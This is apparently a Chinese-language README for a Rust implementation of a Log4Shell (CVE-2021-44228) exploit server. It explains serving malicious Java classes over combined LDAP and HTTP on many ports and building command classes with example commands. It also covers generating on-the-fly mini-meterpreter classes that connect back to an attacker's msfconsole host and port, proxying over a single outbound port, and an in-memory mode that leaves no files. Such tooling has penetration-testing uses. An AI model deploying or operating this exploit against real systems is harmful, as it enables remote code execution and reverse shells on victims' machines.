Log 4 Shell(log4j - CVE-2021-44228)的 Rust 实现
构建运行 cargo +nightly build
此版本允许您构建命令类,动态提供一个在被利用的 Java 应用线程中运行的小型 meterpreter,并同时运行 LDAP 和 HTTP 服务器。此版本在同一个端口上同时提供 LDAP 和 HTTP 请求。
您可以同时在多个端口上运行,以尝试查看目标机器上哪些出站端口可用。
如果请求不是 LDAP 或 HTTP,它可以代理请求到另一台机器(同样是同一端口)。如果目标机器只有一个出站端口,您可以在同一端口上提供 LDAP、HTTP,并使用该端口将 meterpreter 连接代理到另一个本地端口或另一台机器。
此版本不再需要安装 javac。它仍然支持动态“类构建”,但通过修改可执行文件中嵌入的预编译类来实现。
此版本增加了 nmap 定义的前 100 个和前 1000 个端口。使用 --pC100 或 --pC1000 选项。
典型用例是先构建命令类,然后运行服务器。
l4srs build -c Cmd1 -l firefox -w Calc.exe
l4srs build -c TouchMe -l "touch /tmp/me"
然后您可以请求 Cmd1,它将在 Linux 上启动 firefox,在 Windows 上启动 Calc。如果您请求 TouchMe,它将在 Linux 上执行 touch /tmp/me,在 Windows 上不执行任何操作。
然后您可以运行 l4srs run --pC100 在前 100 个端口上启动服务器,并可以提供 Cmd1 或 TouchMe。
此外,如果您请求 MM:Host:port,它将动态创建一个微型的 meterpreter 类,该类将连接到请求中的主机和端口。如果您的 msfconsole 运行在 10.20.30.40 的 4444 端口,您需要请求 MM:10.20.30.40:4444;这并非通过 build 命令构建,而是在请求时动态创建的。
此版本允许从内存缓存中构建和提供类。所有动态的 MiniMeterpreter 类不再触及文件系统。此外,新增了两个标志。第一个是 --no_fs,它将强制我们永远不会从文件系统提供任何文件。另一个是 --allow_cmd,它将通过在任何开放端口上使用 POST 请求并携带 JSON 体(包含字段:class_name, l_cmd, w_cmd)访问 /build_cmd 来启用动态类构建。